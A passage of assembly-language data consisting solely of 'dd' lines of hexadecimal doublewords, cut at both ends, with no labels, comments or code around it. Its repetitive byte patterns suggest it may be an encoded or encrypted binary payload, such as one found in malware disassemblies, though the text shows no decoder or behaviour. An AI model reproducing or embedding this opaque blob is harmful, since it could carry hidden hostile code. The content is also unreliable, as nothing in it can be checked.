49B82E2Eh, 0D1D1D1D0h, 11B9545Ah, 0D1D1D049h, 793AD3A4h dd 0B1D19032h, 0DDD1D101h, 0C1D9A42Eh, 0CE11E42Eh, 0C1D1D1EBh dd 45B9CB3Ah, 0D85CD190h, 91D1D1EBh, 0C12D9458h, 0B85AAEACh dd 0B8D04911h, 0AED04911h, 0C1D1D1E8h, 112D945Ah, 79D1D049h dd 52D19032h, 39D12DACh, 0DD2E1280h, 82C1EC52h, 525A8687h dd 522EE93Dh, 0CD2E35ACh, 0BD19044h, 0DED1D101h, 39C99467h dd 2ED11F88h, 58390DA4h, 2E5A2194h, 2E2EC5A4h, 0A45C21A4h dd 2EA42E25h, 5A3209C4h, 5A9958D8h, 2E58D998h, 583205C4h dd 2E2E0194h, 0B4391DA4h, 0DDD1D11Ch, 0B9D9A42Eh, 449047DDh dd 322ED190h, 32D1D190h, 80D1D190h, 0DDD1D11Dh, 44B9C33Ah dd 0D139D190h, 0D19D5417h, 648054DEh, 2E2E2C95h, 5215522Eh dd 0D32CE56Ch, 0C45CD5BBh, 6790A3F1h, 672CCB54h, 672CC854h dd 0C12CC954h, 5C2E2E2Ch, 0FE2C8154h, 0FDD1D1E5h, 67DE9F3Ah dd 672CCB54h, 672CC854h, 642CC954h, 5C2E2CF5h, 0E2C8154h dd 0F9D1D1E2h, 5C2EF33Ah, 6A2C8154h, 0C1D1D1E2h, 0D095545Ah dd 0C9D1D1D1h, 7DDDAC52h, 52D1D1D3h, 72D12DACh, 39D1D1D0h dd 0D4D118B3h, 5BD1D072h, 3A59219Ch, 0E19416D6h, 5AD1D1A4h dd 5A583D9Ch, 8158399Ch, 0B92ED1BBh, 39914C01h, 0D9D11959h dd 472ED15Ah, 0E75AD190h, 0C5D1D1E3h, 0D1F6C1B9h, 1547B9B9h dd 0C12E2E7Ch, 0B1299458h, 2FD19047h, 0E812E2Eh, 0A4D1D116h dd 0DD9D3929h, 0D12D9458h, 3F2EC1A4h, 0DD812E2Eh, 0D1259458h dd 2E52D7A5h, 3F2EC1A4h, 3F582E2Eh, 3F5A2E2Eh, 3FDE2E2Eh dd 6392E2Eh, 3F882E2Eh, 2EDE2E2Eh, 3F3F3564h, 3F5C2E2Eh dd 0D0EA2E2Eh, 3FD1D1E0h, 385A2E2Eh, 79D1D1E1h, 79D19032h dd 76D1D1D2h, 2ED1D1D2h, 0DD39812Eh, 2ED9A42Eh, 5C39812Eh dd 972F8D54h, 0DDD1D1E1h, 2E89642Eh, 528D392Eh, 52D12DACh dd 4781D511h, 0D45AD190h, 0D4D1D0D5h, 0B9D1D3D5h, 0C9917575h dd 80841218h, 0D9D9945Ah, 0DD398191h, 0F95A8191h, 912E2E2Eh dd 0DE2D9458h, 0D954D16Fh, 0D9398191h, 0DD398191h, 25A8191h dd 912E2E2Fh, 0DE2D9458h, 3A54D16Fh, 18945A34h, 525A8412h dd 0D087F93Dh, 0D1D1D1D1h, 0A531B452h, 3A945ADFh, 91945AD6h dd 0EA3D9458h, 0DEDE0994h, 0D181D16Fh, 915AD63Ah, 0DE0D9458h dd 54D4956Fh, 0DEC9A511h, 0E8D4956Fh, 52A42994h, 9958DB11h dd 0DEC1BB81h, 0D221947Eh, 389C5819h, 8E2E2E89h, 0B512188Fh dd 1039D1D1h, 5487D1D1h, 0ED2E2F89h, 0FAD1D110h, 0ABD1D110h dd 0FBC9A42Eh, 0DDD1D110h, 4C2A9416h, 0CFD1D161h, 0D55AD1D1h dd 2CE4A4D1h, 2F812E2Eh, 0DD812E2Eh, 39E5545Ch, 0D1D1FDF7h dd 2AD1D1D3h, 5C812E2Eh, 0F72F8D54h, 0DDD1D1FBh, 5ECC2038h dd 0DD2E2E1Dh, 0D5CC6D38h, 5155DED1h, 12D1D1D0h, 0DD2E2E1Fh dd 4FB9545Ch, 0C5D1D16Eh, 67D1D113h, 982E2E1Dh, 0D5D1D16Eh dd 2B282688h, 2 dup(2B812E2Eh), 0DD812E2Eh, 5C39545Ch dd 6F2F8D54h, 0DDD1D1F9h, 0D5CD5838h, 1955DED1h, 8DD1D1EEh dd 29D1D16Fh, 295A2E2Eh, 0D5482E2Eh, 29282688h, 0F1FA2E2Eh dd 78D5915Ah, 0D7D1D1EDh, 3CD1D192h, 5CD1D190h dd 122F8D54h, 0DDD1D1F6h, 49CA5F38h, 3D2E2E69h, 0D32E2E67h dd 2452D1D1h, 4C192E2Eh, 1B5CD190h, 0BBD1D186h, 2E545CD1h dd 9AA1D9C4h, 0F5D1D186h, 0B4D1D186h, 27D1D186h, 0D1812E2Eh dd 645CD1BBh, 302E27D9h, 6BD1D187h, 0FD1D187h, 24D1D187h dd 24DF2E2Eh, 24992E2Eh, 24522E2Eh, 24D12E2Eh, 0C9DE2E2Eh dd 24282688h, 0C9592E2Eh, 13282688h, 0D4D1D184h, 26DD545Ch dd 2 dup(26812E2Eh), 0DD812E2Eh, 265CD4BBh, 0DD812E2Eh dd 265CD4BBh, 0DD812E2Eh, 5CF9545Ch, 402F8D54h, 0DDD1D1F5h dd 54C98D38h, 2DD1D1BDh, 8ED1D1A3h, 31D1D1BDh, 0A2D1D1A3h dd 0D9D1D14Ch, 4C5D6F88h, 4C3AD190h, 245AD190h, 0D05C2E2Eh dd 24D1D185h, 6F2E2E2Eh, 2F0B29D4h, 0C9812E2Eh, 0BD75545Ch dd 6ED1D182h, 0C92E2E7Ah, 0CDC75538h, 2FD51152h, 0DD812E2Eh dd 0D1C79C38h, 0E289545Ah, 0DD2E2EAEh, 7AC40C38h, 0DD2E2EA3h dd 0BDC47938h, 0C12E2E60h, 5BC4BC38h, 0DDD1D163h, 0D5C4E938h dd 0D1D4A4D1h, 0E4F1945Ah, 0DD2E2EB2h, 0D0C54438h, 0D5F1945Ah dd 0DD2E2EB2h, 0F3C5B538h, 0C92E2E36h, 9DD19021h, 0EED1904Dh dd 0DDD1D1F1h, 69C5DB38h, 0C0D1D15Bh, 0C9D1D154h, 64C2BA38h dd 0D5D1D15Ah, 2EFEA5D1h, 4115522Eh, 0C9D1D15Eh, 0D5C34B38h dd 0DDD4A4D1h, 1549642Eh, 0EED1904Ah, 0DDD1D1CFh, 5249642Eh dd 0D1D1D19Ch, 34D1D1C1h, 5C812E2Eh, 672F8D54h, 0DDD1D1CCh dd 0D5C05038h, 59D4A4D1h, 0E1D1904Ah, 0DDD1D1CCh, 0D545642Eh dd 0C9CAA4D1h, 0B5D19021h, 39D1904Ah, 0DDD1D1CDh, 0F45AC33Ah dd 0DF2E2E56h, 142E2E7Fh, 0F4D1D1A4h, 0C52E2E39h, 86DE5938h dd 0DD2E2E3Ah, 2DDE8238h, 39D1903Ah, 0D5D1904Bh, 0D9D4A4D1h dd 0C9DFA5D1h, 1D1903Fh, 0DDD1904Bh, 0D5DF4838h, 0D9D4A4D1h dd 0DDDFA5D1h, 0D5DFE638h, 2 dup(0D5D4A4D1h), 0D9D8A5D1h dd 0D5D4A4D1h, 0D9D8A5D1h, 2 dup(0D5D4A4D1h), 4BEFA4D1h dd 0B13AD190h, 12D1904Bh, 0DDD1D1C9h, 0A9DD5F38h, 0FBD1904Bh dd 0D5D1D170h, 0EDD4A4D1h, 0D5D19057h, 0A1D1D1D0h, 0BB81D190h dd 0F9C42ED1h, 0D5D19057h, 0FFD4A4D1h, 0C1D1D1C6h, 2BDB2838h dd 0DF2E2E8Fh, 0A5D1D1C1h, 0DDD19048h, 0D5DBC438h, 94DBA4D1h dd 55A12ECDh, 0D52E2E75h, 489AA4D3h, 645CD190h, 952E4DD9h dd 8CD19048h, 0C1D1D1C4h, 0D5D17238h, 4899A4C6h, 645CD190h dd 0F12E4DD5h, 0D7D19048h, 0C1D1D1C4h, 485A9E3Ah, 555CD190h dd 3D2E2E75h, 64D19049h, 0C5D1D1C5h, 0BFD239B9h, 0DDD1D1C5h dd 0D5D9E838h, 94DBA4D1h, 4DA12ECDh, 4A812E2Eh, 4A3A2E2Eh dd 64B92E2Eh, 792E4A2Dh, 4FD19049h, 0C1D1D1C2h, 0A2D6B838h dd 0DDD1D1C2h, 0D5D6EF38h, 0D5C0A5D1h, 0DD4941B9h, 4DDE1154h dd 4D5A2E2Eh, 4D512E2Eh, 4D5A2E2Eh, 4D512E2Eh, 4B512E2Eh dd 5D2E2E34h, 0AF2E2E34h, 0A12E2E34h, 382E2E34h, 0CDD1D1C0h dd 1C5ACB3Ah, 0DDD1D1C0h, 76D44938h, 7F58D1D1h, 0DDD1D176h dd 0D05416B7h, 0D591DA39h, 0D139D1BBh, 0C1BBD3BBh, 649D545Ch dd 642E4D99h, 462E4D99h, 0DDD1D1C1h, 0D9D5B338h, 66D1900Ch dd 0D1D1D1D2h, 994639B9h, 0C5D1D1C1h, 5CD5C238h, 0C1D1D1ACh dd 85D20938h, 4F2E2E13h, 0D02E2E19h, 8D464DB9h, 9CD1905Ah dd 0DDD1D1DEh, 7C956C52h, 0D52E2E1Ah, 4AC5A5D1h, 4A3A2E2Eh dd 2E582E2Eh, 5154582Eh, 51D1D080h, 0C1D1D080h, 51D1D1DFh dd 0C1D1D080h, 0EDD1D1DFh, 51202688h, 51D1D080h, 0C1D1D080h dd 51D1D1DFh, 0C1D1D080h, 0EDD1D1DFh, 40202688h, 4A52D190h dd 40252E2Eh, 4A52D190h, 40252E2Eh, 4A52D190h, 4A252E2Eh dd 2 dup(4A2E2E2Eh), 0D92E2E2Eh, 7FD19046h, 0E9D1D1DDh dd 0D55AAD3Ah, 0D9D8A5D1h, 0DDD3A4D1h, 0E5A41154h, 0F6D1D1D4h dd 28D1D1D2h, 0DDD1D170h, 5CD9A42Eh, 6E2B0154h, 0DD2E2E66h dd 2C2D5458h, 2CD12E2Eh, 2CDE2E2Eh, 2C912E2Eh, 2C3A2E2Eh dd 0F95C2E2Eh, 0D1D1904Eh, 5D1D1D3h, 0C5D1D170h, 0FED1545Ch dd 0BBD1D1CDh, 0DDEE39D1h, 2C255458h, 2C582E2Eh, 2B382E2Eh dd 7B392E2Eh, 0DD2E2E7Eh, 0BCBBD0BBh, 0DD2E2E60h, 5C29945Ch dd 0B42FA154h, 0DD2E2E67h, 0D12D9458h, 0DE38D4A4h, 9152D16Fh dd 2F2D9458h, 4D812E2Eh, 39D1904Eh, 8CD171AFh, 9BD1D171h dd 81D1D171h, 45D1905Eh, 51D1904Eh, 0B9D1D080h, 95D1D172h dd 0B1D1D172h, 81D1904Eh, 39D1905Eh, 45D1D173h, 1CD1904Eh dd 51D1D173h, 4CD1D080h, 0A6D1D173h, 82D1D173h, 0FED1D173h dd 0B1D1D173h, 0DAD1904Eh, 31D1D173h, 65D1D170h, 59D1D170h dd 81D1D170h, 8DD1904Eh, 0B9D1D170h, 0E2D19048h, 0DBD1D170h dd 0DDD1D170h, 58259458h, 2E382D94h, 2A945A2Eh, 52882E2Eh dd 51D12DACh, 52D1D1D0h, 0DD81D511h, 0D4D9A42Eh, 0EDD1D055h dd 0C5D19118h, 70841218h, 0B9903BA5h, 0D1D19038h, 915AD63Ah dd 0BA2D9458h, 0A52DD11h, 58D1D190h, 115A2984h, 0E4612EDDh dd 3988D1D1h, 2FD19036h, 0FA812E2Eh, 0DD2E2E47h, 39D46FDEh dd 0C5D19036h, 0AAD19071h, 39D1D14Bh, 2FD14BB7h, 2F812E2Eh dd 0C9812E2Eh, 2FD19020h, 2F812E2Eh, 0D1812E2Eh, 0C5D19071h dd 0B9DDAC52h, 0D4904ED5h, 5188D1D1h, 2FD1D080h, 2F522E2Eh dd 75D52E2Eh, 572E2E60h, 2CD1D148h, 4E292E2Eh, 0D050D190h dd 2CA2D1D1h, 2C212E2Eh, 2CD12E2Eh, 0C4222E2Eh, 2C90A1E1h dd 8BD42E2Eh, 903990BBh, 64E0A139h, 8C2E2C0Dh, 8AA9642Eh dd 905C8CBBh, 43945CD1h, 0E5D1D149h, 0D9D46FDEh, 59D1900Dh dd 90D1900Ah, 901154D1h, 0DCC9B9D1h, 39D1D149h, 39D1D2ABh dd 0DDD14608h, 0B1A5E42Eh, 0B9D1D13Bh, 0B9D19038h, 0C1D1903Bh dd 0D0D1D1F6h, 0C13BB9B9h, 0D13BA572h, 0DDBBD1BBh, 512DA42Eh dd 0D4D1751Ah, 38D13BB1h, 0C12E2EA1h, 0CC39D1D1h, 0DDD1D146h dd 2E299458h, 5569DDA4h, 0C1D1D148h, 3D2DB452h, 7FD1D147h dd 0E4D1D147h, 0DD903BA5h, 69841218h, 3ED1C1D9h, 0DD812E2Eh dd 2E295458h, 2969DDA4h, 212E2E3Eh, 0C1D1D149h, 3E2DB452h dd 0CB812E2Eh, 0E4D1D147h, 0DD903BA5h, 69841218h, 0D0D1C1D9h dd 5C52D1D1h, 63E2954h, 0DDD1D144h, 0D0299458h, 5CD3D1D1h dd 7A3E2954h, 0DDD1D144h, 0D0299458h, 5CD2D1D1h, 0AE3E2954h dd 0DDD1D144h, 5C299458h, 8E3E2954h, 0DDD1D144h, 0E7299458h dd 2ED1D144h, 5E2E2DA4h, 0C1D1D146h, 0E2DB452h, 1DD1D145h dd 5FD1D145h, 0E4D1D145h, 2E903BA5h, 3E2E2DA4h, 0C1812E2Eh dd 3E2DB452h, 0F4812E2Eh, 0E4D1D145h, 0DD903BA5h, 80841218h dd 71B9D1BBh, 5A2ED190h, 52182D94h, 0B9D12DACh, 0D1D19071h dd 0D1D1D1C1h, 2EBBD5BBh, 392ED9A4h, 2ED14262h, 2 dup(2EA03DC4h) dd 0D1A169C4h, 915AD63Ah, 0EA2D9458h, 0DEAC2994h, 5952D16Fh dd 0DEEE3AD0h, 5952D16Fh, 8BC23AD0h, 593990BBh, 395C3AD0h dd 0D1D1D1D6h, 0D19DB9D1h, 0CD945AD1h, 0A6D8A5D1h, 0B5D1D140h dd 0AAD1D140h, 0DDD1D140h, 19BA5416h, 5C2E2E2Ch, 0C12C6954h dd 0C9D1D140h, 0C5C5945Ah, 0ABC5A12Eh, 0C92E2E9Bh, 0E9DA4538h dd 0FDD19070h, 0D9D19070h, 66D1900Ch, 0D1D1D1D2h, 0C570D9B9h dd 0DDB9C43Ah, 31DAFB38h, 9D19071h, 51D19071h, 2ED1D080h dd 2E39812Eh, 2E67392Eh, 2E4E292Eh, 0D04E252Eh, 2EA2D1D1h dd 2E4E212Eh, 2E16D12Eh, 0F5D1452Eh, 2E11E288h, 8B2E812Eh dd 903990BBh, 2EF65D39h, 64DED12Eh, 2E2E2D49h, 8A8CBB2Eh dd 8A5C8CBBh, 7A4E09B9h, 0E5D1D15Fh, 0AB9FC3Ah, 0F55CD190h dd 0D0D1D1F8h dd 392E2E2Ah, 432E2804h, 0D188D1D1h, 0DD39D1BBh, 15D92138h dd 0C9D19071h, 65D1903Eh, 42D19071h, 0DDD1D15Ch, 399D545Ch dd 39D15CB0h, 12E290Eh, 0DDD1904Bh, 0C5A1545Ch, 542E2E20h dd 392E2EB7h, 0C92E295Dh, 39D19021h, 0D12E29B3h, 5D39D0BBh dd 39D19071h, 0DD2E4A8Ah, 999D545Ch, 0D12E2E2Bh, 392E2EB6h dd 0DD2E4AF1h, 55D70638h, 0C9D19071h, 51D1903Eh, 0C1D19071h dd 0C5DFA5D1h, 21F1A5D1h, 5AD1D15Bh, 0DD5AC994h, 19915458h dd 0C5D1D15Bh, 0F295545Ch, 0BBD1D1D4h, 0DDE239D1h, 5AE95458h dd 0C929E554h, 0D1D1903Eh, 0CC55945Ch, 0DDD1D159h, 2EC9945Ah dd 56522E2Eh, 2E88D1D1h, 3 dup(2ED22E2Eh), 39D22E2Eh, 51D1571Bh dd 0C9D1D0F5h, 0C5D1903Eh, 81DD1152h, 15AD642Eh, 0CD522E2Eh dd 0D1D0D338h, 0CF51D1D1h, 0C5E2D1D1h, 81C11152h, 0CDAD642Eh dd 0D112188Eh, 3F4A39D1h, 3E812E2Eh, 0C5812E2Eh, 2E7141B9h dd 0A5A5D12Eh, 3FD19071h, 3FD12E2Eh, 3 dup(3FDE2E2Eh) dd 0AD912E2Eh, 3FD1D1D4h, 15912E2Eh, 412E2E3Fh, 3FD1D1D3h dd 3D912E2Eh, 3FD1D1D9h, 3912E2Eh, 3FD1D1D6h, 3F812E2Eh dd 0C5392E2Eh, 2E70ADB9h, 3FF8392Eh, 3FD12E2Eh, 3F912E2Eh dd 3F5A2E2Eh, 5A522E2Eh, 3F3FBD54h, 2E2E2E2Eh, 0D081912Eh dd 3FD1D1D1h, 0D02E2E2Eh, 2ED1D1D1h, 2E54D22Eh, 2ED02E2Eh dd 2ED12E2Eh, 2 dup(2E54D22Eh), 3F54D22Eh, 2E812E2Eh, 39812E2Eh dd 0C52E3EE2h, 80841218h, 5A945A80h, 2E582D94h, 913929A4h dd 0D12D9458h, 91D1D1D0h, 912D9458h, 0DE5AC4A2h, 595D5167h dd 0DD3B5159h, 52D9A42Eh, 0D0D325ACh, 91115489h, 592D9458h dd 0A23A2E90h, 5B945AF8h, 59DB2E98h, 913A2E99h, 592D9458h dd 0A23A2E90h, 5B945AF8h, 59DB2E98h, 5A3A2E99h, 59912994h dd 0A23A2E90h, 5B945AF2h, 99DB2E98h, 52841218h, 5B51DD3Dh dd 91705D51h, 5A259458h, 5B912994h, 91705D51h, 5A259458h dd 5BD2D99Ch, 91705D51h, 5A259458h, 5B912994h, 91705D51h dd 5B259458h, 91705D51h, 5B259458h, 91705D51h, 51259458h dd 185AD1F1h, 805A8412h, 0D1A42E80h, 915AD63Ah, 0EA2D9458h dd 0DEAC2994h, 0DEDED16Fh, 0D052D16Fh, 89121889h, 9D868782h dd 0DDD1D1D5h, 3979945Ch, 82D1D481h, 185A8687h, 0DDD1D1D2h dd 3979945Ch, 80D1D51Ch, 912DB452h, 0EA2D9458h, 5BDEDD94h dd 59E2FDD1h, 48945AD0h, 0C188C1BBh, 5A282688h, 595BC19Ch dd 48945AD0h, 5B88C1BBh, 5919E3D8h, 5B945AD9h, 5913E3D1h dd 5B945AD0h, 59D0D5D1h, 918738D0h, 0EA2D9458h, 5BDEDD94h dd 59D0FDD1h, 5B945AD0h, 5913E3D1h, 48945AD0h, 5B88C1BBh dd 5919E3D8h, 48945AD9h, 0C188C1BBh, 5A282688h, 595BC19Ch dd 5B945AD0h, 59E2D5D1h, 498738D0h, 0DDD1903Ah, 0B984128Ch dd 0DD903A49h, 8084128Ch, 0DDA42E80h, 5AC57B39h, 5A52D994h dd 0D0D2D99Ch, 0D22DA42Eh, 3A582994h, 5A945A60h, 0D0D2D99Ch dd 0D22DA42Eh, 3A582994h, 58945A62h, 5A5A2D99h, 0D952DD94h dd 0A4D51152h, 0DD4E39D9h, 0BBDD945Ah, 39A42ED0h, 5AD1ACB4h dd 5AD2D99Ch, 0FAD2D99Ch, 0BB582994h, 39A42ED0h, 5AD1ACDEh dd 5AD2D99Ch, 6BD2D99Ch, 0A2945A49h, 10945ADCh, 5252D239h dd 5AD12DACh, 585A2D94h, 0A25A2D94h, 0DDA42EC7h, 2ED15538h dd 0A42EDDA4h, 581739D9h, 0CE52C194h, 0DDD1D1A8h, 38DDA42Eh dd 0DDD1D1A9h, 80841218h, 5A945A80h, 91172D94h, 0EE2D9458h dd 0D194FA89h, 0DD2DA42Eh, 0A4DD945Ah, 5FD539DDh, 0DDD1D1A9h dd 395AC53Ah, 0DDD1A9A9h, 0E4811152h, 0DDD1D1D1h, 0A4DD945Ah dd 0DD6339DDh, 0DDBBD5BBh, 80841218h, 0D1B45280h, 5A29B452h dd 5A522994h, 2 dup(5A5ADD9Ch), 815ADD9Ch, 0B32E91BBh dd 0DDD1D1DFh, 5AD9945Ah, 2 dup(5A5AD994h), 5C26299Ch dd 5AA9D055h, 10102D94h, 5ADAC838h, 5AD22D94h, 26F22D94h dd 0DA9CF200h, 5894D210h, 5A5A2194h, 2526219Ch, 5AD0555Ch dd 10102594h, 5ADADE38h, 5AD22594h, 26F22594h, 0DA9CF200h dd 5894D210h, 5A5A2994h, 5C26299Ch, 107ED055h, 105AD631h dd 5ADAC838h, 5AD22D94h, 26F22D94h, 0DA9CF200h, 5A94D210h dd 585C219Ch, 5A5A2194h, 5C26219Ch, 5AC2D055h, 10102594h dd 5ADADE38h, 5AD22594h, 26F22594h, 0DA9CF200h, 5A94D210h dd 585C299Ch, 5A5A2994h, 5C26299Ch, 5809D055h, 105A2D94h dd 105AD631h, 5ADAC838h, 5AD22D94h, 26F22D94h, 0DA9CF200h dd 5A94D210h, 585C219Ch, 5A5A2194h, 5C26219Ch, 5A60D055h dd 10102594h, 5ADADE38h, 5AD22594h, 26F22594h, 0DA9CF200h dd 5A94D210h, 585C299Ch, 5A5A2994h, 5C26299Ch, 5AF3D055h dd 10102D94h, 5ADAC838h, 5AD22D94h, 26F22D94h, 0DA9CF200h dd 5A94D210h, 585C219Ch, 5A5A2194h, 5C26219Ch, 5A5FD055h dd 10102594h, 5ADADE38h, 5AD22594h, 26F22594h, 0DA9CF200h dd 5A94D210h, 585C299Ch, 0DA5A2994h, 5C94D210h, 5AB3D055h dd 10102D94h, 5ADACA38h, 5AD22D94h, 5AF22594h, 5826259Ch dd 0DA5A2194h, 5A94D210h, 5A5C259Ch, 10102594h, 5ADAC338h dd 5AD22594h, 5AF22D94h, 58262D9Ch, 0DA5A2994h, 5A94D210h dd 5A5C2D9Ch, 10102D94h, 5ADACA38h, 5AD22D94h, 5AF22594h dd 5826259Ch, 0DA5A2194h, 5A94D210h, 5A5C259Ch, 10102594h dd 5ADAC338h, 5AD22594h, 5AF22D94h, 58262D9Ch, 0DA5A2994h dd 5A94D210h, 5A5C2D9Ch, 10102D94h, 5ADACA38h, 5AD22D94h dd 5AF22594h, 5826259Ch, 0DA5A2194h, 5C94D210h, 1056D055h dd 105ADF31h, 5ADAC338h, 5AD22594h, 5AF22D94h, 58262D9Ch dd 0DA5A2994h, 5A94D210h, 5A5C2D9Ch, 10102D94h, 5ADACA38h dd 5AD22D94h, 5AF22594h, 2126259Ch, 58D0555Ch, 585A2194h dd 0DA5A2194h, 5A94D210h, 105C259Ch, 105ADF31h, 5ADAC338h dd 5AD22594h, 5AF22D94h, 58262D9Ch, 0E25A2994h, 5AD22194h dd 5A5C2D9Ch, 10102D94h, 5ADACD38h, 5AD22D94h, 0D2E22D94h dd 585A0194h, 0E25A2194h, 5AD22994h, 585C259Ch, 105A2594h dd 105AC131h, 5ADAC138h, 5AD22594h, 0D2E22594h, 585A3994h dd 0E25A2994h, 5CD22194h, 5A95D055h, 10102D94h, 5ADACD38h dd 5AD22D94h, 0D2E22D94h, 585A1194h, 0E25A2194h, 5AD22994h dd 5A5C259Ch, 10102594h, 5ADAC138h, 5AD22594h, 0D2E22594h dd 585A0994h, 0E25A2994h, 5AD22194h, 5A5C2D9Ch, 10102D94h dd 5ADACD38h, 5AD22D94h, 0D2E22D94h, 585A6194h, 0E25A2194h dd 5CD22994h, 5854D055h, 105A2594h, 105AC131h, 5ADAC138h dd 5AD22594h, 0D2E22594h, 585A1994h, 0E25A2994h, 5AD22194h dd 105C2D9Ch, 105AD531h, 5ADACD38h, 5AD22D94h, 0D2E22D94h dd 585A3194h, 0E25A2194h, 5AD22994h, 5A5C259Ch, 10102594h dd 5ADAC138h, 5AD22594h, 0D2E22594h, 585A6994h, 0E25A2994h dd 5C94D210h, 5895D055h, 105A2D94h, 105AD731h, 5ADACB38h dd 5AD22D94h, 0DA262594h, 5A945A19h, 585C219Ch, 0E25A2194h dd 5C94D210h, 5A76D055h, 10102594h, 5ADAC038h, 5AD22594h dd 0DA262D94h, 5A945A19h, 585C299Ch, 585A2994h, 0E25A2994h dd 5C94D210h, 1012D055h, 105AD731h, 5ADACB38h, 5AD22D94h dd 0DA262594h, 0DD945A19h, 5894585Eh, 0E25A2194h, 5C94D210h dd 3EACD055h, 5A94582Eh, 10102594h, 5ADAC038h, 5AD22594h dd 0DA262D94h, 58945A19h, 0E25A2994h, 5C94D210h, 5A9ED055h dd 10102D94h, 5ADACB38h, 5AD22D94h, 0DA262594h, 5A945A19h dd 585C219Ch, 0E25A2194h, 5C94D210h, 5AC5D055h, 10102594h dd 5ADAC038h, 5AD22594h, 0DA262D94h, 5A945A19h, 585C299Ch dd 0E25A2994h, 5C94D210h, 5A53D055h, 10102D94h, 5ADACB38h dd 5AD22D94h, 0DA262594h, 5A945A19h, 585C219Ch, 0E25A2194h dd 2594D210h, 5AD0555Ch, 10102594h, 5ADAC038h, 5AD22594h dd 0DA262D94h, 5A945A19h, 585C299Ch, 5A5A2994h, 9158D99Ch dd 5A2D9458h, 0D158D984h, 0D0D1D1B9h, 0C4BBD1BBh, 0D590A1F5h dd 2E2DA42Eh, 0D5A1F1C4h, 2E2DA42Eh, 5AA1F1C4h, 82212D94h dd 82398687h, 80398687h, 52DDAC52h, 58D2DDACh, 52945AD0h dd 5A58D511h, 5A52DD94h, 52582D94h, 99D12DACh, 92D9458h dd 0DD2E2E3Ah, 3979945Ch, 0C12E3D0Dh, 80DC7D88h, 91D9945Ah dd 0DE2D9458h, 0C154D16Fh, 5B282688h, 5953E3D1h, 911A3AD0h dd 0DE2D9458h, 0C154D16Fh, 5B282688h, 5953E3D1h, 0BB1A3AD0h dd 99D1D1B4h, 0DD7661B9h, 2E3BB1B9h, 795A812Eh, 0D1D19076h dd 0D7D1D1D3h, 0F1D1D1CEh, 2E415458h, 2E6C522Eh, 2EA4D12Eh dd 2E3AD12Eh, 2E58912Eh, 2E6C502Eh, 0ABD0B92Eh, 2E39B0BBh dd 0C255592Eh, 0DDD1D1B5h, 2CB9D3BBh, 0DDD1D1B2h, 36B9D5BBh dd 0DDD1D1B2h, 79B9D3BBh, 5CD190h, 0DDD1D1B2h, 79B9D5BBh dd 6A5CD190h, 0DDD1D1B2h, 74B9DABBh, 0DDD1D1B2h, 2ED23769h dd 2C54582Eh, 2E522E2Eh, 2DBBD12Eh, 2ED19076h, 2E555C2Eh dd 0DD39812Eh, 2E59545Ah, 2E11522Eh, 0C995BB2Eh, 2ED19079h dd 2E555C2Eh, 2E39812Eh, 2E11522Eh, 41F1BB2Eh, 2E59545Ah dd 2E555C2Eh, 0DD39812Eh, 2E59545Ah, 2E11522Eh, 7DD5BB2Eh dd 2ED19079h, 2E555C2Eh, 2E39812Eh, 2E11522Eh, 31D5BB2Eh dd 2ED19079h, 2E555C2Eh, 2E39812Eh, 2E11522Eh, 9D5BB2Eh dd 2ED19079h, 2E555C2Eh, 2E39812Eh, 2E11522Eh, 0DD5BB2Eh dd 2ED19079h, 2E555C2Eh, 0B339812Eh, 0DD52D1D1h, 2E59545Ah dd 2E11522Eh, 4189BB2Eh, 2E59545Ah, 2E555C2Eh, 2E39812Eh dd 2E11522Eh, 65D7BB2Eh, 2ED19079h, 2E555C2Eh, 0DD39812Eh dd 2E59545Ah, 2E11522Eh, 41D9BB2Eh, 2E59545Ah, 2E555C2Eh dd 0DD39812Eh, 2E59545Ah, 2E11522Eh, 6DD5BB2Eh, 2ED19079h dd 2E555C2Eh, 2E39812Eh, 2E11522Eh, 41D5BB2Eh, 2E59545Ah dd 2E555C2Eh, 2E39812Eh, 2E11522Eh, 15D7BB2Eh, 2ED19079h dd 2E555C2Eh, 0B039812Eh, 0DD52D1D1h, 2E59545Ah, 2E11522Eh dd 2C642E2Eh, 2EBB2E2Eh, 2E555C2Eh, 2E39812Eh, 2C54D22Eh dd 2E582E2Eh, 2E642E2Eh, 59545C2Eh, 2E2E2E35h, 2E39812Eh dd 2E54D22Eh, 2E54582Eh, 2EB9B92Eh, 2E5A812Eh, 2E555C2Eh dd 2E39812Eh, 2EB9D42Eh, 1DDBBB2Eh, 2ED19079h, 2E555C2Eh dd 0DD39812Eh, 2E59545Ah, 2E11522Eh, 0B1E3BB2Eh, 2ED19079h dd 2E555C2Eh, 2E39812Eh, 2E11522Eh, 2E545A2Eh, 2E54582Eh dd 2E545A2Eh, 2E39522Eh, 2E642E2Eh, 2E545C2Eh, 0DD5A812Eh dd 0D13BB1B9h, 2EC1D1B9h, 0B05A812Eh, 0D6D1D1B1h, 0D17679B9h dd 2CD1D1D3h, 0F1812E2Eh, 2C255458h, 58D12E2Eh, 81D1D1D1h dd 0DDD1907Eh, 0D1F6C1B9h, 26D1D1D7h, 0C1812E2Eh, 0D2A41154h dd 0DB9D1D1h, 0DDD1907Eh, 0D1F6C1B9h, 26D1D1D7h, 0C1812E2Eh dd 59A41154h, 0DDD19061h, 0D1F6C1B9h, 26D1D1D7h, 0C1812E2Eh dd 0BBA41154h, 0DDB9B9EFh, 0D1F6C1B9h, 26D1D1D7h, 0C1812E2Eh dd 0DDA41154h, 0D1F6C1B9h, 26D1D1D7h, 0C1812E2Eh, 71A41154h dd 0DDD1D1D1h, 0DDD19063h, 0D1F6C1B9h, 26D1D1D7h, 0C1812E2Eh dd 52A41154h, 57DED029h, 61D1D1D1h, 2ED19063h, 2C39812Eh dd 2C5C2E2Eh, 6C812E2Eh, 0DDD1D18Ch, 2C69D1BBh, 75522E2Eh dd 0DDD1D1D0h, 0DDB9D5BBh, 0BBB9D5BBh, 0DDD1D18Ch, 85B9D5BBh dd 0DDD1D18Ch, 0EFB9D5BBh, 0DDD1D18Ch, 0F9B9F1BBh, 0DDD1D18Ch dd 2ED2BBB9h, 0DD5A812Eh, 2ED5D1B9h, 0DD5A812Eh, 54D13C38h dd 57C1A511h, 8DD1D1D1h, 76D19062h, 0DDD1D18Dh, 2CD23969h dd 41812E2Eh, 4ED1D1D1h, 0DDD1D18Dh, 2C25642Eh, 2E812E2Eh dd 2C54FA2Eh, 2E812E2Eh, 2E3AD12Eh, 2E58912Eh, 2E6C522Eh dd 0D5ACC12Eh, 2E65D9B9h, 2E555C2Eh, 2E39812Eh, 1F39812Eh dd 0D9D1D1D5h, 0DDEFA12Eh, 52841218h, 9152C13Dh, 0EA2D9458h dd 